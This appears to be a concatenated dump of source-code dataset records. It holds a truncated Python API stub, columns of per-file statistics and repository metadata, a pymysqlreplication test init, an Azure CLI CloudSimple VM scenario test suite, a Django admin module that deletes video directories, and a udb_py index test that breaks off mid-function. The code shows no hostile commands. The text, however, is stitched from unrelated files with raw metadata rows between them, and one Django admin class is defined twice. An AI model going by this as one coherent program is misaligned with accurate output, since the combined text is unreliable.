:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
| 50.048891
| 350
| 0.836158
| 11,510
| 88,036
| 5.869939
| 0.013814
| 0.038601
| 0.058375
| 0.042775
| 0.967157
| 0.961325
| 0.959682
| 0.957255
| 0.956781
| 0.947767
| 0
| 0.009357
| 0.115032
| 88,036
| 1,758
| 351
| 50.077361
| 0.857847
| 0.580331
| 0
| 0.533582
| 0
| 0
| 0.042479
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.369403
| false
| 0
| 0.097015
| 0
| 0.835821
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
6fd454453c45c9df3bad47d0881893c50a6ab3d2
| 254
|
py
|
Python
|
pymysqlreplication/tests/__init__.py
|
byte8/python-mysql-replication
|
1c0f618712092d27221604aed5d265a1bc5b349c
|
[
"Apache-2.0"
] | 1
|
2015-11-08T13:08:07.000Z
|
2015-11-08T13:08:07.000Z
|
pymysqlreplication/tests/__init__.py
|
byte8/python-mysql-replication
|
1c0f618712092d27221604aed5d265a1bc5b349c
|
[
"Apache-2.0"
] | null | null | null |
pymysqlreplication/tests/__init__.py
|
byte8/python-mysql-replication
|
1c0f618712092d27221604aed5d265a1bc5b349c
|
[
"Apache-2.0"
] | 1
|
2021-07-26T18:21:06.000Z
|
2021-07-26T18:21:06.000Z
|
# -*- coding: utf-8 -*-
from pymysqlreplication.tests.test_basic import *
from pymysqlreplication.tests.test_data_type import *
from pymysqlreplication.tests.test_data_objects import *
if __name__ == "__main__":
import unittest
unittest.main()
| 25.4
| 56
| 0.76378
| 30
| 254
| 6.033333
| 0.533333
| 0.364641
| 0.447514
| 0.513812
| 0.453039
| 0.453039
| 0
| 0
| 0
| 0
| 0
| 0.004545
| 0.133858
| 254
| 9
| 57
| 28.222222
| 0.818182
| 0.082677
| 0
| 0
| 0
| 0
| 0.034632
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6fe633ae35d800eef26e0cdd360cc39eb3fbe3e6
| 28,701
|
py
|
Python
|
azext_csvmware/tests/latest/test_vmware_cs_scenario.py
|
ctaggart/az-csvmware-cli
|
6f6f7cd5cb9ae0e34e4d81b499337c3a5ca9fc74
|
[
"MIT"
] | 2
|
2020-05-20T13:33:33.000Z
|
2020-09-12T03:48:15.000Z
|
azext_csvmware/tests/latest/test_vmware_cs_scenario.py
|
ctaggart/az-csvmware-cli
|
6f6f7cd5cb9ae0e34e4d81b499337c3a5ca9fc74
|
[
"MIT"
] | null | null | null |
azext_csvmware/tests/latest/test_vmware_cs_scenario.py
|
ctaggart/az-csvmware-cli
|
6f6f7cd5cb9ae0e34e4d81b499337c3a5ca9fc74
|
[
"MIT"
] | 2
|
2020-05-11T17:10:27.000Z
|
2021-01-02T16:15:35.000Z
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
import os
import unittest
from knack.util import CLIError
from azure_devtools.scenario_tests import AllowLargeResponse
from azure.cli.testsdk import (ScenarioTest, ResourceGroupPreparer)
from msrestazure.azure_exceptions import CloudError
import logging
TEST_DIR = os.path.abspath(os.path.join(os.path.abspath(__file__), '..'))
class VmwareCsScenarioTest(ScenarioTest):
"""
Test for AVS by CloudSimple CLI commands.
This tests various command exposed by CloudSimple CLI.
To run the tests, run 'azdev test csvmware --discover --live'
The prerequisites for the tests are that you should be logged in to a subscription in the CLI.
That subscription should contain:
az_cli_cs_test resource group,
avs-test-eastus private cloud,
vm-125 vm template in vSphere,
resgroup-169 resource pool in vSphere,
dvportgroup-85 virtual network.
You can modify the above specified params in this test file.
"""
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_cs_vm_create_param_validation(self, resource_group):
"""
Tests the create API for vmware vm.
"""
self.kwargs.update({
'name': self.create_random_name(prefix='cli-test', length=24),
'loc': 'eastus',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'ram': 1024,
'cores': 1
})
# Checking that invalid vm_name causes error
with self.assertRaisesRegexp(CLIError, "Virtual machine name should only contain letters, numbers, or hyphen."):
self.cmd('az csvmware vm create -g {rg} -n invalid_name# --location {loc} --ram {ram} \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for ram is float, it causes error
with self.assertRaisesRegexp(CLIError, "RAM should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram 1024.5 \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for ram is 0, it causes error
with self.assertRaisesRegexp(CLIError, "RAM should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram 0 \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for ram is negative, it causes error
with self.assertRaisesRegexp(CLIError, "RAM should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram -1024 \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for cores is float, it causes error
with self.assertRaisesRegexp(CLIError, "Cores should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram {ram} \
--cores 1.5 --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for cores is 0, it causes error
with self.assertRaisesRegexp(CLIError, "Cores should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram {ram} \
--cores 0 --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Checking that if entered value for cores is negative, it causes error
with self.assertRaisesRegexp(CLIError, "Cores should be a postive integer value."):
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram {ram} \
--cores -1 --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_cs_vm_crud(self, resource_group):
"""
Tests the CRUD APIs for vmware vm.
"""
self.kwargs.update({
'name': self.create_random_name(prefix='cli-test1', length=24),
'loc': 'eastus',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'ram': 1024,
'cores': 1
})
# Checking that the number of VM in our rg (used for testing) is 0.
count = len(self.cmd('az csvmware vm list -g {rg}').get_output_in_json())
self.assertEqual(count, 0)
# Creating a VM. Checking json to see if the operation succeeded.
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram {ram} \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name}'),
self.check('amountOfRam', '{ram}'),
self.check('location', '{loc}')
])
# Checking that the number of VM in our rg (used for testing) is 1 now.
count = len(self.cmd('az csvmware vm list -g {rg}').get_output_in_json())
self.assertEqual(count, 1)
# Testing show command
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name}'),
self.check('amountOfRam', '{ram}'),
self.check('location', '{loc}')
])
# Show as table
self.cmd('az csvmware vm show -g {rg} -n {name} -o table')
# List as table
self.cmd('az csvmware vm list -g {rg} -o table')
# Testing update command
self.cmd('az csvmware vm update -g {rg} -n {name} --set tags.foo=boo', checks=[
self.check('tags.foo', 'boo')
])
# Deleting a VM.
self.cmd('az csvmware vm delete -g {rg} -n {name}')
# Checking that the number of VM in our rg is 0 now.
count = len(self.cmd('az csvmware vm list -g {rg}').get_output_in_json())
self.assertEqual(count, 0)
def test_vmware_cs_vm_create(self):
"""
Tests the create API for vmware vm.
"""
self.kwargs.update({
'name1': self.create_random_name(prefix='cli-test', length=24),
'name2': self.create_random_name(prefix='cli-test', length=24),
'name3': self.create_random_name(prefix='cli-test', length=24),
'name4': self.create_random_name(prefix='cli-test', length=24),
'name5': self.create_random_name(prefix='cli-test', length=24),
'name6': self.create_random_name(prefix='cli-test', length=24),
'rg': 'az_cli_cs_test',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'vnet': 'dvportgroup-85'
})
# Creating a VM with default parameters from the vm template
self.cmd('az csvmware vm create -g {rg} -n {name1} -p {pc} --template {vm_template} -r {rp}',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name1}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('numberOfCores', 1)
])
# Creating a VM with default parameters from the vm template and adding a nic
self.cmd('az csvmware vm create -g {rg} -n {name2} \
-p {pc} --template {vm_template} -r {rp} \
--nic name=NicNameWouldBeReassigned virtual-network={vnet} \
adapter=VMXNET3 power-on-boot=True',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name2}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('nics | [1].virtualNicName', 'Network adapter 2'),
self.check('nics | [1].powerOnBoot', True),
self.check('nics | [1].nicType', 'VMXNET3'),
self.check('nics | [1].network.name', 'Datacenter/Workload01'),
self.check('numberOfCores', 1)
])
# Customizing specific properties of a VM. Changing the number of cores to 2 and adapter of
# "Network adapter 1" nic to E1000E, from that specified in the template.
self.cmd('az csvmware vm create -n {name3} -g {rg} -p {pc} -r {rp} --template {vm_template} \
--cores 2 --nic name="Network adapter 1" adapter=E1000E',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name3}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('nics | [0].nicType', 'E1000E'),
self.check('numberOfCores', 2)
])
# Customizing specific properties of a VM. Changing the adapter of
# "Network adapter 1" nic to E1000E, from that specified in the
# template, and also adding another nic with virtual network
# MyVirtualNetwork, adapter VMXNET3, that power ups on boot.
self.cmd('az csvmware vm create -g {rg} -n {name4} \
-p {pc} --template {vm_template} -r {rp} \
--nic name="Network adapter 1" adapter=E1000E --nic \
name=NicNameWouldBeReassigned virtual-network={vnet} \
adapter=VMXNET3 power-on-boot=True',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name4}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('nics | [0].nicType', 'E1000E'),
self.check('nics | [1].virtualNicName', 'Network adapter 2'),
self.check('nics | [1].powerOnBoot', True),
self.check('nics | [1].nicType', 'VMXNET3'),
self.check('nics | [1].network.name', 'Datacenter/Workload01'),
self.check('numberOfCores', 1)
])
# Creating a virtual machine and adding an extra disk
# to the VM with SCSI controller 0, persistent
# mode, and 41943040 KB size.
self.cmd('az csvmware vm create -n {name5} -g {rg} -p {pc} -r {rp} --template {vm_template} \
--disk name=DiskNameWouldBeReassigned controller=1000 \
mode=persistent size=41943040',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name5}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('disks | [1].controllerId', '1000'),
self.check('disks | [1].independenceMode', 'persistent'),
self.check('disks | [1].totalSize', 41943040),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('numberOfCores', 1)
])
# Customizing specific properties of a VM. Changing the
# size of "Hard disk 1" disk to 21943040 KB,
# from that specified in the template, and also adding
# another disk with SCSI controller 0,
# persistent mode, and 41943040 KB size.
self.cmd('az csvmware vm create -g {rg} -n {name6} \
-p {pc} --template {vm_template} -r {rp} \
--disk name="Hard disk 1" size=21943040 --disk \
name=DiskNameWouldBeReassigned controller=1000 \
mode=persistent size=41943040',
checks=[
self.check('provisioningState', 'Succeeded'),
self.check('resourceGroup', '{rg}'),
self.check('name', '{name6}'),
self.check('amountOfRam', 1024),
self.check('disks | [0].virtualDiskName', 'Hard disk 1'),
self.check('disks | [0].totalSize', 21943040),
self.check('disks | [1].controllerId', '1000'),
self.check('disks | [1].independenceMode', 'persistent'),
self.check('disks | [1].totalSize', 41943040),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('guestOsType', 'linux'),
self.check('location', 'eastus'),
self.check('nics | [0].virtualNicName', 'Network adapter 1'),
self.check('numberOfCores', 1)
])
# Deleting the VMs.
self.cmd('az csvmware vm delete -g {rg} -n {name1}')
self.cmd('az csvmware vm delete -g {rg} -n {name2}')
self.cmd('az csvmware vm delete -g {rg} -n {name3}')
self.cmd('az csvmware vm delete -g {rg} -n {name4}')
self.cmd('az csvmware vm delete -g {rg} -n {name5}')
self.cmd('az csvmware vm delete -g {rg} -n {name6}')
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_cs_vm_start_stop(self, resource_group):
"""
Tests the start/stop APIs for vmware vm.
"""
self.kwargs.update({
'name': self.create_random_name(prefix='cli-test', length=24),
'loc': 'eastus',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'ram': 1024,
'cores': 1
})
# Creating a VM.
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} --ram {ram} \
--cores {cores} --private-cloud {pc} --template {vm_template} \
--resource-pool {rp}')
# Testing that VM is in running state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'running')])
# Power off the VM
self.cmd('az csvmware vm stop -g {rg} -n {name} --mode poweroff')
# Testing that VM is in powered off state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'poweredoff')])
# Start the VM
self.cmd('az csvmware vm start -g {rg} -n {name}')
# Testing that VM is in running state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'running')])
# Shut down the VM
self.cmd('az csvmware vm stop -g {rg} -n {name} --mode shutdown')
# Testing that VM is in powered off state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'poweredoff')])
# Start the VM
self.cmd('az csvmware vm start -g {rg} -n {name}')
# Testing that VM is in running state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'running')])
# Reboot the VM
self.cmd('az csvmware vm stop -g {rg} -n {name} --mode reboot')
# Testing that VM is in running state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'running')])
# Suspend the VM
self.cmd('az csvmware vm stop -g {rg} -n {name} --mode suspend')
# Testing that VM is in suspended state
self.cmd('az csvmware vm show -g {rg} -n {name}',
checks=[self.check('status', 'suspended')])
# Deleting the VM.
self.cmd('az csvmware vm delete -g {rg} -n {name}')
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_vm_template_list_and_show(self, resource_group):
"""
Tests the list and show vm templates command.
"""
self.kwargs.update({
'rp': 'resgroup-169',
'pc': 'avs-test-eastus',
'vmtemplate': 'vm-125',
'loc': 'eastus'
})
self.cmd('az csvmware vm-template list -p {pc} -r {rp} --location {loc}')
self.cmd('az csvmware vm-template show -p {pc} -n {vmtemplate} --location {loc}',
checks=[
self.check('guestOsType', 'linux'),
self.check('guestOs', 'Ubuntu Linux (64-bit)'),
self.check('type', 'Microsoft.VMwareCloudSimple/virtualMachineTemplates')
])
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_vnet_list_and_show(self, resource_group):
"""
Tests the list and show virtual networks command.
"""
self.kwargs.update({
'rp': 'resgroup-169',
'pc': 'avs-test-eastus',
'vnet': 'dvportgroup-85',
'loc': 'eastus'
})
self.cmd('az csvmware virtual-network list -p {pc} -r {rp} --location {loc}')
self.cmd('az csvmware virtual-network show -p {pc} -n {vnet} --location {loc}',
checks=[
self.check('name', 'Datacenter/Workload01'),
self.check('type', 'Microsoft.VMwareCloudSimple/virtualNetworks')
])
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_resource_pool_list_and_show(self, resource_group):
"""
Tests the list and show resource pools command.
"""
self.kwargs.update({
'rp': 'resgroup-169',
'pc': 'avs-test-eastus',
'loc': 'eastus'
})
self.cmd('az csvmware resource-pool list -p {pc} --location {loc}')
self.cmd('az csvmware resource-pool show -p {pc} -n {rp} --location {loc}',
checks=[
self.check('location', 'eastus'),
self.check('name', 'AzCLITest'),
self.check('type', 'Microsoft.VMwareCloudSimple/resourcePools')
])
@ResourceGroupPreparer(name_prefix='cli_test_vmware_cs', parameter_name_for_location='eastus')
def test_vmware_private_cloud_list_and_show(self, resource_group):
"""
Tests the list and show private clouds command.
"""
self.kwargs.update({
'pc': 'avs-test-eastus',
'loc': 'eastus'
})
self.cmd('az csvmware private-cloud list --location {loc}')
self.cmd('az csvmware private-cloud show -n {pc} --location {loc}',
checks=[
self.check('location', 'eastus'),
self.check('name', '{pc}')
])
def test_vmware_cs_vm_disk_apis(self):
self.kwargs.update({
'name': self.create_random_name(prefix='cli-test', length=24),
'loc': 'eastus',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'rg': 'az_cli_cs_test'
})
# Creating a VM.
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} \
--private-cloud {pc} --template {vm_template} --resource-pool {rp}')
# Add a disk with the default values
self.cmd('az csvmware vm disk add -g {rg} --vm-name {name}',
checks=[
self.check('disks | [1].controllerId', '1000'),
self.check('disks | [1].independenceMode', "persistent"),
self.check('disks | [1].totalSize', 16777216),
])
# Add a custom disk
self.cmd('az csvmware vm disk add -g {rg} --vm-name {name} \
--mode independent_nonpersistent --size 8388608',
checks=[
self.check('disks | [2].controllerId', '1000'),
self.check('disks | [2].independenceMode', "independent_nonpersistent"),
self.check('disks | [2].totalSize', 8388608)
])
# Show a disk
self.cmd('az csvmware vm disk show -g {rg} --vm-name {name} -n "Hard disk 1"',
checks=[
self.check('controllerId', '1000'),
self.check('independenceMode', "persistent"),
self.check('totalSize', 16777216),
self.check('virtualDiskName', "Hard disk 1")
])
# Checking that the number of disk in the VM is 3 now.
count = len(self.cmd('az csvmware vm disk list -g {rg} \
--vm-name {name}').get_output_in_json())
self.assertEqual(count, 3)
# Delete disks. Among the given disks, two disk are present in VM and one disk is absent.
# The present disk should be deleted, and an error for the absent disk should be displayed.
with self.assertRaisesRegexp(CLIError, "Hard disk 4 not present in the given virtual machine."):
self.cmd('az csvmware vm disk delete -g {rg} --vm-name {name} \
--disks "Hard disk 1" "Hard disk 2" "Hard disk 4"')
# Polling till update operation is complete
vm_status = self.cmd('az csvmware vm show -g {rg} -n \
{name}').get_output_in_json()["status"]
while vm_status == "updating":
vm_status = self.cmd('az csvmware vm show -g {rg} -n \
{name}').get_output_in_json()["status"]
self.cmd('az csvmware vm disk add -g {rg} --vm-name {name} \
--mode independent_nonpersistent --size 8388608',
checks=[
self.check('disks | [1].controllerId', '1000'),
self.check('disks | [1].independenceMode', "independent_nonpersistent"),
self.check('disks | [1].totalSize', 8388608)
])
# Checking that the number of disk in the VM is 2 now.
count = len(self.cmd('az csvmware vm disk list -g {rg} \
--vm-name {name}').get_output_in_json())
self.assertEqual(count, 2)
# Deleting the VM.
self.cmd('az csvmware vm delete -g {rg} -n {name}')
def test_vmware_cs_vm_nic_apis(self):
self.kwargs.update({
'name': self.create_random_name(prefix='cli-test', length=24),
'loc': 'eastus',
'pc': 'avs-test-eastus',
'vm_template': 'vm-125',
'rp': 'resgroup-169',
'vnet': 'dvportgroup-85',
'rg': 'az_cli_cs_test'
})
# Creating a VM.
self.cmd('az csvmware vm create -g {rg} -n {name} --location {loc} \
--private-cloud {pc} --template {vm_template} --resource-pool {rp}')
# Add a nic with the default values
self.cmd('az csvmware vm nic add -g {rg} --vm-name {name} --virtual-network {vnet}',
checks=[
self.check('nics | [1].nicType', 'VMXNET3'),
self.check('nics | [1].powerOnBoot', None),
self.check('nics | [1].network.name', 'Datacenter/Workload01')
])
# Add a custom nic
self.cmd('az csvmware vm nic add -g {rg} --vm-name {name} \
--virtual-network {vnet} --adapter E1000 --power-on-boot false',
checks=[
self.check('nics | [2].nicType', 'E1000'),
self.check('nics | [2].powerOnBoot', None),
self.check('nics | [1].network.name', 'Datacenter/Workload01')
])
# Show a nic
self.cmd('az csvmware vm nic show -g {rg} --vm-name {name} -n "Network adapter 1"',
checks=[
self.check('nicType', 'VMXNET3'),
self.check('powerOnBoot', True),
self.check('network.name', 'Datacenter/Workload01'),
self.check('virtualNicName', "Network adapter 1")
])
# Checking that the number of nics in the VM is 3 now.
count = len(self.cmd('az csvmware vm nic list -g {rg} --vm-name {name}').get_output_in_json())
self.assertEqual(count, 3)
# Delete nics. Among the given nics, two nics are present in VM and one nic is absent.
# The present nics should be deleted, and an error for the absent nic should be displayed.
with self.assertRaisesRegexp(CLIError, 'Network adapter 4 not present in the given virtual machine.'):
self.cmd('az csvmware vm nic delete -g {rg} --vm-name {name} \
--nics "Network adapter 1" "Network adapter 2" "Network adapter 4"')
# Polling till update operation is complete
vm_status = self.cmd('az csvmware vm show -g {rg} -n \
{name}').get_output_in_json()["status"]
while vm_status == "updating":
vm_status = self.cmd('az csvmware vm show -g {rg} -n \
{name}').get_output_in_json()["status"]
# Add a nic with the default values
self.cmd('az csvmware vm nic add -g {rg} --vm-name {name} --virtual-network {vnet}',
checks=[
self.check('nics | [1].nicType', 'VMXNET3'),
self.check('nics | [1].powerOnBoot', None),
self.check('nics | [1].network.name', 'Datacenter/Workload01')
])
# Checking that the number of nics in the VM is 2 now.
count = len(self.cmd('az csvmware vm nic list -g {rg} --vm-name {name}').get_output_in_json())
self.assertEqual(count, 2)
# Deleting the VM.
self.cmd('az csvmware vm delete -g {rg} -n {name}')
| 46.973813
| 120
| 0.533779
| 3,268
| 28,701
| 4.621175
| 0.089963
| 0.078069
| 0.043504
| 0.082175
| 0.837902
| 0.814991
| 0.777645
| 0.754271
| 0.74957
| 0.690637
| 0
| 0.024934
| 0.325076
| 28,701
| 610
| 121
| 47.05082
| 0.754685
| 0.144037
| 0
| 0.716019
| 0
| 0.053398
| 0.2792
| 0.013688
| 0
| 0
| 0
| 0
| 0.038835
| 1
| 0.024272
| false
| 0
| 0.01699
| 0
| 0.043689
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d232ecec0ef6c234b10f88662cd7a05663fd84a9
| 2,950
|
py
|
Python
|
backend/StreamServerApp/admin.py
|
Web-Multi-Media/HttpStreamingServer
|
c062840b1323f6a5b35a1d7d26542a0fd6e77b0e
|
[
"MIT"
] | 5
|
2019-12-25T16:28:26.000Z
|
2022-03-22T11:05:16.000Z
|
backend/StreamServerApp/admin.py
|
Web-Multi-Media/HttpStreamingServer
|
c062840b1323f6a5b35a1d7d26542a0fd6e77b0e
|
[
"MIT"
] | 26
|
2019-11-14T16:03:26.000Z
|
2022-02-10T11:56:04.000Z
|
backend/StreamServerApp/admin.py
|
Web-Multi-Media/HttpStreamingServer
|
c062840b1323f6a5b35a1d7d26542a0fd6e77b0e
|
[
"MIT"
] | 2
|
2020-09-01T09:25:14.000Z
|
2020-10-09T12:06:35.000Z
|
from django.contrib import admin
from StreamServerApp.models import Video, Movie, Series, Subtitle
from django.conf import settings
import os
import shutil
class VideoAdmin(admin.ModelAdmin):
search_fields = ['name']
model = Video
def delete_queryset(self, request, queryset):
print(
'========================delete_queryset========================')
print(queryset)
#queryset.delete()
for videos in queryset:
print(videos.video_folder)
playlistdir = os.path.split(videos.video_folder)[0]
if os.path.isdir(playlistdir):
print("removing directory: {}".format(playlistdir))
shutil.rmtree(playlistdir, ignore_errors=True)
queryset.delete()
class VideoAdmin(admin.ModelAdmin):
search_fields = ['name']
model = Video
def delete_queryset(self, request, queryset):
print(
'========================delete_queryset========================')
print(queryset)
#queryset.delete()
for videos in queryset:
print(videos.video_folder)
playlistdir = os.path.split(videos.video_folder)[0]
if os.path.isdir(playlistdir):
print("removing directory: {}".format(playlistdir))
shutil.rmtree(playlistdir, ignore_errors=True)
queryset.delete()
class SeriesAdmin(admin.ModelAdmin):
search_fields = ['name']
model = Series
def delete_queryset(self, request, queryset):
print(
'========================delete_queryset========================')
print(queryset)
#queryset.delete()
for series in queryset:
video_queryset = Video.objects.filter(series=series.id)
for videos in video_queryset:
playlistdir = os.path.split(videos.video_folder)[0]
if os.path.isdir(playlistdir):
print("removing directory: {}".format(playlistdir))
shutil.rmtree(playlistdir, ignore_errors=True)
queryset.delete()
class MovieAdmin(admin.ModelAdmin):
search_fields = ['name']
model = Movie
def delete_queryset(self, request, queryset):
print(
'========================delete_queryset========================')
print(queryset)
#queryset.delete()
for movies in queryset:
video_queryset = Video.objects.filter(movie=movies.id)
for videos in video_queryset:
playlistdir = os.path.split(videos.video_folder)[0]
if os.path.isdir(playlistdir):
print("removing directory: {}".format(playlistdir))
shutil.rmtree(playlistdir, ignore_errors=True)
queryset.delete()
admin.site.register(Video, VideoAdmin)
admin.site.register(Movie, MovieAdmin)
admin.site.register(Series, SeriesAdmin)
admin.site.register(Subtitle)
| 32.777778
| 78
| 0.581356
| 283
| 2,950
| 5.968198
| 0.187279
| 0.076969
| 0.060391
| 0.063943
| 0.809947
| 0.809947
| 0.767318
| 0.718769
| 0.718769
| 0.718769
| 0
| 0.001833
| 0.260339
| 2,950
| 89
| 79
| 33.146067
| 0.772227
| 0.023051
| 0
| 0.746269
| 0
| 0
| 0.123697
| 0.087561
| 0
| 0
| 0
| 0
| 0
| 1
| 0.059701
| false
| 0
| 0.074627
| 0
| 0.313433
| 0.208955
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
963ccebabd22ab611068cca5af1c1a2a68ba5e0d
| 3,037
|
py
|
Python
|
tests/test_udb_index.py
|
akaterra/udb.py
|
3c04fa788e4b2fc8356c1210b9d81004aa932c0b
|
[
"MIT"
] | 2
|
2020-01-04T12:04:58.000Z
|
2020-02-15T16:32:12.000Z
|
tests/test_udb_index.py
|
akaterra/udb.py
|
3c04fa788e4b2fc8356c1210b9d81004aa932c0b
|
[
"MIT"
] | null | null | null |
tests/test_udb_index.py
|
akaterra/udb.py
|
3c04fa788e4b2fc8356c1210b9d81004aa932c0b
|
[
"MIT"
] | null | null | null |
import pytest
from udb_py.common import EMPTY, InvalidScanOperationValueError
from udb_py.udb_index import UdbIndex
@pytest.mark.udb_index
def test_should_be_constructed_with_schema_as_list():
i = UdbIndex(['a', 'b', 'c'])
assert i.schema == {'a': EMPTY, 'b': EMPTY, 'c': EMPTY}
@pytest.mark.udb_index
def test_should_be_constructed_with_schema_as_dict():
i = UdbIndex({'d': EMPTY, 'e': EMPTY, 'f': EMPTY})
assert i.schema == {'d': EMPTY, 'e': EMPTY, 'f': EMPTY}
@pytest.mark.udb_index
def test_should_validate_query_primitive_value():
assert UdbIndex.validate_query({'a': None})
assert UdbIndex.validate_query({'a': False})
assert UdbIndex.validate_query({'a': True})
assert UdbIndex.validate_query({'a': 0})
assert UdbIndex.validate_query({'a': 0.5})
assert UdbIndex.validate_query({'a': '0'})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': []})
with pytest.raises(InvalidScanOperationValueError):
